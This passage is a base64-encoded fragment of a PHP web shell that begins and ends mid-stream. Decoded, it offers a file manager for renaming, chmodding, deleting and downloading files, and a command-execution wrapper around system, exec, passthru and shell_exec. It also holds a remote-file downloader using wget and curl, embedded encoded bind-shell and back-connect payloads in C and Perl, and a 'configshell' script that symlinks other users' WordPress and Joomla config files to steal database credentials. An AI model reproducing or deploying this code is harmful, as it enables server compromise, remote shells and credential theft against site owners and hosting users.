UkNFdnptdXdSOHM4Z3IyRVR2dExTUmFLajZBclpVK1ZWQUV3U3F2SkloSXdpWDMzblBPMklnYXlLMmNidG1aV1Q0Vy9pdjlIZWFjQTY5N05RUlkyODFGcjBkdTFoSlB0OTBEK3hnYzZmbndYakM3OUpXeVFkaVRmT3JmNG5rL2paZjBjVmVuSXBFUUltR2pRc1ZvZDJjcnl2SDRURVpDMzBrTGpNRStLVWRSbDI0WkRRQmtyeUl2dE9KZ2dMR3JpK2hiZFhnZDkwZTkrK2h6NnJSNWpZdHpaS3NJRHpod0ZEVFFEelpFc1R6OENSTzVwbVZxQjI0MHVjUmJNN2tlalRjYWxCZnZuMTk1RVYrRWFqRjFoZ0FBQUFCSlJVNUVya0pnZ2c9PScgLz4gICAgIFsgJGZvbGRlciBdPC9iPjwvYT4KCQkJPGZvcm0gYWN0aW9uPVwiP3k9JHB3ZFwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+CgkJCTxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm9sZG5hbWVcIiB2YWx1ZT1cIiIuJGZvbGRlci4iXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4KCQkJPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoyMDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXduYW1lXCIgdmFsdWU9XCIiLiRmb2xkZXIuIlwiIC8+CgkJCTxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgdmFsdWU9XCJyZW5hbWVcIiAvPgoJCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycpO1wiIC8+CgkJCTwvZm9ybT48dGQ+RElSPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD4KCQkJPHRkPjxjZW50ZXI+CgkJCTxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTMnKTtcIj4iLmdldF9wZXJtcygkcHdkLiRmb2xkZXIpLiI8L2E+CgkJCTxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtM1wiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gCgkJCTxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm5hbWVcIiB2YWx1ZT1cIiIuJGZvbGRlci4iXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4gCgkJCTxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3dmFsdWVcIiB2YWx1ZT1cIiIuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRwd2QuJGZvbGRlcikpLCAtNCkuIlwiIC8+IAoJCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNobW9kX2ZvbGRlclwiIHZhbHVlPVwiY2htb2RcIiAvPiAKCQkJPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjYW5jZWxcIiB2YWx1ZT1cImNhbmNlbFwiIAoJCQlvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiIC8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+CgkJCTx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmb2xkZXIpKS4iPC90ZD48dGQ+PGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtJyk7XCI+cmVuYW1lPC9hPiB8IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtmZGVsZXRlPSIuJHB3ZC4kZm9sZGVyLiJcIj5kZWxldGU8L2E+PC90ZD48L3RyPiI7CgkJfQoJfQoKCWZvcmVhY2goJGZuYW1lIGFzICRmaWxlKXsKCQkkZnVsbCA9ICRwd2QuJGZpbGU7CgkJaWYoISR3aW4gJiYgJHBvc2l4KXsKCQkJJG5hbWU9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZvbGRlcikpOwoJCQkkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOwoJCQkkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTsKCQl9CgkJZWxzZSB7CgkJCSRvd25lciA9ICR1c2VyOwoJCX0JCQoJCSRidWZmIC49ICI8dHI+PHRkPjxhIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmtcIiBocmVmPVwiP3k9JHB3ZCZhbXA7dmlldz0kZnVsbFwiPjxiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBWmlTMGRFQVA4QS93RC9vTDJua3dBQUFBbHdTRmx6QUFBTEV3QUFDeE1CQUpxY0dBQUFBQWQwU1UxRkI5b0pCaGNUSnYyQjJkNEFBQUpNU1VSQlZEakxiWk85VGh4WkVJVy9xbHZkdE0zOEJOZ0pRbVFnSkdkK0EvTVFCTHdHaml3SDNud2RrU0x0TzJ4RVJHNUxxeFhSU0lSMllEZkQ0R2tHTTBQM3JiNGI5UEF6MGw3cFNsV2xXMGZubkxvbEFJUEI0UFhoNGVGdW51Y0FJSUx3ZEVTZVp5QWlmbnA2K3U5b05MbzNnTTNOelRkSFIrLy96dkpNelN5SktLb2RpSWc4QVhheGVJejFiRFo3TXhxTmZ0Z1NVUkRXeTdMVW5aMGRZbXhBRkFWRWxJNkFFQ3lnSXNRUXNpekxCT0FCQURPaktBcHFoN3U3R29DVVdpd1liZXRvVUhyclBjd0Nxb0YyS1VlWEx6RXpCdjArdVFtU0hNRVo5RjZTWmNyNmk0SXNCT2EvYjdIUU1hSHRJQXdnTGRIYWxEQTFldjBlUWJTanJFclF3SnBxRjRlQXgvaG9xRDEzMm1Na0pyaTV1U09sRmhFaHBVUUlpb2p3YW1PRE5zbGpmVVdDcXBMbk9hYUNTS0p0bmFCQ3NaWWpBbGxtWEk0dmFlb2FWWDBjYlNkaG1VUjN6QUt2TmpZNlZpb28wdFd6Z0VvbktiVytLa0dXdDNVbnQwQ2VHZkpzOWcrVVUwckVHSEgvSHcvTWpINi9UK1BPZEZvUk5LQ2hNMjJ4bU9QZXNwalBHUTZIcE5RMjd0NnNBQ0RTTmFueW9sakRMRWRWYUZPTGU4WmtVaks1dWtxM3Q3OWxQQzcvT0RrNUdhK1k2TzVNcXltTnczVjF5M2h5emZYMGhxdkpMeWJYRmQrK2YyZDNkMGRtcytxdmc0T0R6OGZIeDAvTHNiZTM5NjRzUzcrNHVFanVucHFtU2U2ZTNEM041L04wV1pidGx5OWYwOW5aMlovYjI5djJmTEVldnZLOXF2N2MydG9LaThVaWlRaXFIYm02cmlXNmExM2ZuK3p2NzMrb3FvcmhjTGdLVUZYVlArZm41MitMb25qOElMSjBQOFpJQ0NGOS9QVHBDbGhwQnZnUGVsb0w5VTU1TklBQUFBQUFTVVZPUks1Q1lJST0nIC8+ICAgJGZpbGU8L2I+PC9hPgoJCTxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPgoJCTxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgLz4KCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4KCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtJyk7XCIgLz4KCQk8L2Zvcm0+PC90ZD48dGQ+Ii51a3VyYW4oJGZ1bGwpLiI8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPjx0ZD48Y2VudGVyPgoJCTxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtMicpO1wiPiIuZ2V0X3Blcm1zKCRmdWxsKS4iPC9hPgoJCTxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTJcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IAo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoyMDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXd2YWx1ZVwiIHZhbHVlPVwiIi5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGwpKSwgLTQpLiJcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZFwiIHZhbHVlPVwiY2htb2RcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjYW5jZWxcIiB2YWx1ZT1cImNhbmNlbFwiIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTInKTtcIiAvPjwvZm9ybT48L2NlbnRlcj48L3RkPgoJCTx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+CgkJPHRkPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+ZWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiPnJlbmFtZTwvYT4gfCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGVsZXRlPSRmdWxsXCI+ZGVsZXRlPC9hPiB8IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbD0kZnVsbFwiPmRvd25sb2FkPC9hPiZuYnNwOyg8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGxnemlwPSRmdWxsXCI+Z3ppcDwvYT4pPC90ZD48L3RyPiI7Cgl9CgkkYnVmZiAuPSAiPC90YWJsZT4iOwoJcmV0dXJuICRidWZmOwp9CgpmdW5jdGlvbiB1a3VyYW4oJGZpbGUpewoJaWYoJHNpemUgPSBAZmlsZXNpemUoJGZpbGUpKXsKCQlpZigkc2l6ZSA8PSAxMDI0KSByZXR1cm4gJHNpemU7CgkJZWxzZXsKCQkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSB7CgkJCQkkc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQsMik7OwoJCQkJcmV0dXJuICIkc2l6ZSBrYiI7CgkJCX0KCQkJZWxzZSB7CgkJCQkkc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgLyAxMDI0LDIpOwoJCQkJcmV0dXJuICIkc2l6ZSBtYiI7CQoJCQl9CgkJfQoJfQoJZWxzZSByZXR1cm4gIj8/PyI7Cn0KCmZ1bmN0aW9uIGV4ZSgkY21kKXsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsKCQlAb2Jfc3RhcnQoKTsKCQlAc3lzdGVtKCRjbWQpOwoJCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOwoJCUBvYl9lbmRfY2xlYW4oKTsKCQlyZXR1cm4gJGJ1ZmY7Cgl9CgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKCQlAZXhlYygkY21kLCRyZXN1bHRzKTsKCQkkYnVmZiA9ICIiOwoJCWZvcmVhY2goJHJlc3VsdHMgYXMgJHJlc3VsdCl7CgkJCSRidWZmIC49ICRyZXN1bHQ7CgkJfQoJCXJldHVybiAkYnVmZjsKCX0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKCQlAb2Jfc3RhcnQoKTsKCQlAcGFzc3RocnUoJGNtZCk7CgkJJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CgkJQG9iX2VuZF9jbGVhbigpOwoJCXJldHVybiAkYnVmZjsKCX0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7CgkJJGJ1ZmYgPSBAc2hlbGxfZXhlYygkY21kKTsKCQlyZXR1cm4gJGJ1ZmY7Cgl9Cn0KCmZ1bmN0aW9uIHR1bGlzKCRmaWxlLCR0ZXh0KXsKCSR0ZXh0eiA9IGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7CgkgaWYoJGZpbGV6ID0gQGZvcGVuKCRmaWxlLCJ3IikpCgkgewoJCSBAZnB1dHMoJGZpbGV6LCR0ZXh0eik7CgkJIEBmY2xvc2UoJGZpbGUpOwoJIH0KfQoKZnVuY3Rpb24gYW1iaWwoJGxpbmssJGZpbGUpIHsgCiAgIGlmKCRmcCA9IEBmb3BlbigkbGluaywiciIpKXsKCSAgIHdoaWxlKCFmZW9mKCRmcCkpIHsgCiAgIAkJICAgICRjb250Lj0gQGZyZWFkKCRmcCwxMDI0KTsgCiAgIAkJfSAKICAgCQlAZmNsb3NlKCRmcCk7IAoJICAgJGZwMiA9IEBmb3BlbigkZmlsZSwidyIpOyAKCSAgIEBmd3JpdGUoJGZwMiwkY29udCk7IAoJICAgQGZjbG9zZSgkZnAyKTsgCiAgIH0KfQoKZnVuY3Rpb24gd2hpY2goJHByKXsKCSRwYXRoID0gZXhlKCJ3aGljaCAkcHIiKTsKCWlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuIHRyaW0oJHBhdGgpOyB9IGVsc2UgeyByZXR1cm4gdHJpbSgkcHIpOyB9Cn0KCmZ1bmN0aW9uIGRvd25sb2FkKCRjbWQsJHVybCl7CgkkbmFtYWZpbGUgPSBiYXNlbmFtZSgkdXJsKTsKCXN3aXRjaCgkY21kKSB7CgkJY2FzZSAnd3dnZXQnOiBleGUod2hpY2goJ3dnZXQnKS4iICIuJHVybC4iIC1PICIuJG5hbWFmaWxlKTticmVhazsKCQljYXNlICd3bHlueCc6IGV4ZSh3aGljaCgnbHlueCcpLiIgLXNvdXJjZSAiLiR1cmwuIiA+ICIuJG5hbWFmaWxlKTticmVhazsKCQljYXNlICd3ZnJlYWQnIDogYW1iaWwoJHd1cmwsJG5hbWFmaWxlKTticmVhazsKCQljYXNlICd3ZmV0Y2gnIDogZXhlKHdoaWNoKCdmZXRjaCcpLiIgLW8gIi4kbmFtYWZpbGUuIiAtcCAiLiR1cmwpO2JyZWFrOwoJCWNhc2UgJ3dsaW5rcycgOiBleGUod2hpY2goJ2xpbmtzJykuIiAtc291cmNlICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrOwoJCWNhc2UgJ3dnZXQnIDogZXhlKHdoaWNoKCdHRVQnKS4iICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrOwoJCWNhc2UgJ3djdXJsJyA6IGV4ZSh3aGljaCgnY3VybCcpLiIgIi4kdXJsLiIgLW8gIi4kbmFtYWZpbGUpO2JyZWFrOwoJCWRlZmF1bHQ6IGJyZWFrOwoJfQoJcmV0dXJuICRuYW1hZmlsZTsKfQoKZnVuY3Rpb24gZ2V0X3Blcm1zKCRmaWxlKQp7CglpZigkbW9kZT1AZmlsZXBlcm1zKCRmaWxlKSl7CgkJJHBlcm1zPScnOwoJCSRwZXJtcyAuPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7CgkJJHBlcm1zIC49ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsKCQkkcGVybXMgLj0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOwoJCSRwZXJtcyAuPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7CgkJJHBlcm1zIC49ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsKCQkkcGVybXMgLj0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOwoJCSRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7CgkJJHBlcm1zIC49ICgkbW9kZSAmIDAwMDAyKSA/ICd3JyA6ICctJzsKCQkkcGVybXMgLj0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOwoJCXJldHVybiAkcGVybXM7Cgl9CgllbHNlIHJldHVybiAiPz8/Pz8/Pz8/PyI7Cn0KCmZ1bmN0aW9uIGNsZWFyc3BhY2UoJHRleHQpewoJcmV0dXJuIHN0cl9yZXBsYWNlKCIgIiwiXyIsJHRleHQpOwp9CgovLyBuZXQgdG9vbHMKJHBvcnRfYmluZF9iZF9jPSJiVk5oYjlvd0VQMk94SCs0cGhJNE5JTkFOMDBhWXhKYVc2bWF4cWJTTHhOREtEaVh4aUxZa1czS0dPcC8zemxPcG83eElZNzkzanZmCitmbDhLU1F2ZGluQ1IyTlRvZnI1cDNicjhoV21oWHc2QlE5bVlBOGxtak80VVh5RDlvU1FhQVY5QXlGUENOUmErcFJDV3RnbVFySkUKUC9HSWh1ZlFnMjQ5YnJkNG5tam85UnhCcXlOQXV3V09kdm15TkFLSit5d2xCaXJoZXBjdHJ1T2xXOU1KZHR6cmtqVFZLeUZCNDFaWgpkS1RJV0tiMGhvVXdtVUFjd3RGdDYrbStFWEtWSlZ0UkhHQUMwN3ZWL2V6MmNmd3ZYU3B0aWN5dGtvWWxWZ2xYL2ZOaXVBekRFNlZMCjNUZlZydzRvMlAxc2VuUHpzSnJPZm9Samw5Y2ZoV2p2SWF0elJ2TnZuNytzNW84UHQ5T3ZVUnpXWlY5NGRRZ2xlYWcwQzN3UVZLdWcKVXEyRlRGbmpEenZ4QVhwaHg5Y1hRZnhyNlBjdGhMRW8vOGE4cThCOUxncGtRN29PZ0tNYnZOZVRoSE1zYlNPTzY5SUEwbDA1WXBYawpIRFQ4SHhyVjBGNExpelVXZkUrTTJTdWRmZ2lpWWJPTnhpU3RlYnJneUlqZnFESkcwN0FXaUF6WUJjOUxpdlUzTVZwR0ZWMngxSjRXCnR5eEFuaXZZWThIVkZzRXFXRisvZjdzQmsyTlJRS2NEQS9KdHNFNU1EbTlFVUcrTWhjRnFrcFgwSG14R2JxYmtkQlRNbGRhSFJzVUwKWmVvRGVPU0ZCdnBlZkNmWGhmbE9wZ1RrdkoranRLaVI3dkxvaFlLQ3FTMlptTVJqNFo1Z1FaZlNpTWJpNmlxa2RuSGFyRUVYWXVrNgp1UHRUZHVtc3IwSEM0cTVycnpOaWZWN3NDM1pXVW1xK0xWbFZhNU9mUWpUYW5aWVFPK1VmIjsKJHBvcnRfYmluZF9iZF9wbD0iWlpKaFQ4SXdFSWEvay9BZmprbGdTMmFBK0JGbUpEQjFjVzVrSFNaR3pUSzJReHBtdTJ3bFlvRC9icnVCSWZpdGQzM3V2WHV2dldyMQpObVhSVzFEV3k3SEltbzAyZWJSZDE5S3ExQ0l1VjNCTnRXR3pRWmVnMzQyRGh4Y1l3Y0NBSGVDV0NuMWdET0VnaTF5SGhMWVh6ZndnCnROcUtldXQveUtKTmlVQjRza1loZzNaZWNNRVRubG1mS0tyejRvZkZYNmgzUlpKM0RVbVVGYW9Uc3pPN2p4elBEczBPOFNkUEVRa0QKZS94cy9na1lzTjlEU2hHMFNjd0VKQVhHQXFHdWZtZHEyaEtGQ25tdTFJanZSa3BINmhFL0N1dzVzY2ZUYVdBT1ZFOXBNNVdNb3VNMApMU0xLOUhNM3B1TXBOaHA3cjhaRlc1NGpnNXdYeDVZWkxRVXlLWFZ6d2RVWForVDNpbVlvVjlkczdKcU5PRWxRVGpueFBjOGtSclZvCnZhVzNjNXBhUzE2c2pabzZxVEV1UUtVMVVPL1JTbkZKR2FhZ2NGVmJqVVRDcWVPWjJxaWpOTFd6ckQ4UFRlMzJYOW9PZ3ZNMGJqR0IKK2hlY2ZPUUZsVDRVY0xTa21JMWNlWTNWcnBLTXk5ZFdVQ1ZDQmZUbFFYNk93eTg9IjsKJGJhY2tfY29ubmVjdD0iZlpGUlM4TXdGSVhmQi9zUFdTdzJoVXJucXlQQzBDcEQzS1N0dnFoMFhScGNzRTFLa29LRi9YaVR0Q0lWNnR1NTUrWjg5eVk1VzBTdAprdEdCOGFpaHNwclBXa1ZCS3NnbjFhdjV6Q04xaVFHc092NEZiYWs2cFdtTmdVL0pVUUM0YjNsUlUzQlI3T0ZxY0ZocHRNT3BvMjhqClMyd2hWdWxDZmxDTnZYVnkvL0s2ZkxkV0krU1BjZWtNVnBTbHhJeFRuUmRhY0RTRUFuQTZnWkpSQkdNcGhid0MzdUtOdzhBaFhFS1oKamEzSW1jbFlhZ2g2MW45SktiVEFodTdFb2JOM1FiNG1qVy9ieXIwQlNuYzNEM0VXZ3FlN2ZMTzF3aHA1bWlYeCt0SE1jTkhwR1VSdwpUc2t2cGQ5MityeG9LRWRwZHJ2WmhnQmVuL2V4VVdmM25FMjE0aVQ1MityL0N3My81amFxaEtMOWlGRnB1S1Bhd0lMVk53PT0iOwokYmFja19jb25uZWN0X2M9IlhWSGJhZ0l4RUgwWC9JZGhoWkxVV0YxZjFZS0lCZWxGcWZaSmxpVW0yVzdvYmlKSkxMV2wvOTRrMjlyV2h5RXpjK1oyVGpwU3NlckEKQll5dDQxSmZsZGZ0VnVjM2Q3UjlxOW1MY0dlQUVrNTY2MHNWQWFrYzFGUXFGQnhxbmhrQlZsSURsOTUvM1dhNDNmcG90eUNBQlI5NQp6enB6WUE3Q2FNcTV5YVVDSzFWQVlwdXA3WGFZWnBQRTFOQXJJQm1CUnpnVnRWWW9KUU1jUi9qVjN2S0Mxckk2d2dTbU4vbmlZYjc1CmkrMjFjUjRwblZZV1VhY2xpdmNNTS94dlJEamh5c2JIVndkZTBXK0swd3pIOWJ0M1lmUlBpbmdDbFZDbmltN2EvWnVKQzBKVHdmM0EKUmtEMGZSK0I5WEoybTY4M2ovUHBQWUhGYXZXNDNDenp6V3lGSWZiSUFoQmlXaW5CSENvNEFYU21GbHhpdVBCM0UwL2dYZWppSE1jWQpqd2NZZ3VJQWUyR01OaWpaOWpMNEdZcVRTQjlBdkVtSEdqay9tMTloMUNHdlBvSElZNUExT2gydEUzWEllMWJ4S3c3N1lUeXQ2VDJGCjZmOXdHRVB4SmxpRmt2NU9xcjR0RTVMWUVub3lJZkR3ZEhjWEsxaWxyZkFkVWJQUEx3PT0iOwovL2NvbmZzaGVsbAokY29uZmlnc2hlbGwgPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNJQzFKTDNWemNpOXNiMk5oYkM5aVlXNWtiV2x1RFFwd2NtbHVkQ0FpUTI5dWRHVnVkQzEwZVhCbE9pQjBaWGgwTDJoMGJXeGNibHh1SWpzTkNuQnlhVzUwSnp3aFJFOURWRmxRUlNCb2RHMXNJRkJWUWt4SlF5QWlMUzh2VnpOREx5OUVWRVFnV0VoVVRVd2dNUzR3SUZSeVlXNXphWFJwYjI1aGJDOHZSVTRpSUNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk5VVVpOTRhSFJ0YkRFdlJGUkVMM2hvZEcxc01TMTBjbUZ1YzJsMGFXOXVZV3d1WkhSa0lqNE5DanhvZEcxc0lIaHRiRzV6UFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMM2hvZEcxc0lqNE5DZzBLUEdobFlXUStEUW84YldWMFlTQm9kSFJ3TFdWeGRXbDJQU0pEYjI1MFpXNTBMVXhoYm1kMVlXZGxJaUJqYjI1MFpXNTBQU0psYmkxMWN5SWdMejROQ2p4dFpYUmhJR2gwZEhBdFpYRjFhWFk5SWtOdmJuUmxiblF0Vkhsd1pTSWdZMjl1ZEdWdWREMGlkR1Y0ZEM5b2RHMXNPeUJqYUdGeWMyVjBQWFYwWmkwNElpQXZQZzBLUEhScGRHeGxQbEJ5YVhZNElGTkRVand2ZEdsMGJHVStEUW84YzNSNWJHVWdkSGx3WlQwaWRHVjRkQzlqYzNNaVBnMEtMbTVsZDFOMGVXeGxNU0I3RFFvZ1ptOXVkQzFtWVcxcGJIazZJSFJoYUc5dFlTd2dkbVZ5WkdGdVlTd2dRWEpwWVd3N0RRb2dabTl1ZEMxemFYcGxPaUJ0WldScGRXMDdEUW9nWTI5c2IzSTZJQ05HUmtaR1JrWTdEUW9nWW1GamEyZHliM1Z1WkMxamIyeHZjam9nSXpZMk5qWTJOanNOQ2lCMFpYaDBMV0ZzYVdkdU9pQmpaVzUwWlhJN0RRcDlEUW84TDNOMGVXeGxQZzBLUEM5b1pXRmtQZzBLSnpzTkNuTjFZaUJzYVd4N0RRb2dJQ0FnS0NSMWMyVnlLU0E5SUVCZk93MEtKRzF6Y2lBOUlIRjRlM0IzWkgwN0RRb2thMjlzWVQwa2JYTnlMaUl2SWk0a2RYTmxjanNOQ2lScmIyeGhQWDV6TDF4dUx5OW5PdzBLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJKbGRHRXZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpY3RhbTl2Yld4aExuUjRkQ2NwSURzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV3B2YjIxc1lTNTBlSFFuS1NBN0lBMEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlvYjIxbEwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxXcHZiMjFzWVNBdElHaHZiV1V1ZEhoMEp5a2dPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MWGR2Y21Sd2NtVnpjeTUwZUhRbktTQTdJQTBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5aWJHOW5MM2R3TFdOdmJtWnBaeTV3YUhBbkxDUnJiMnhoTGljdGQyOXlaSEJ5WlhOekxuUjRkQ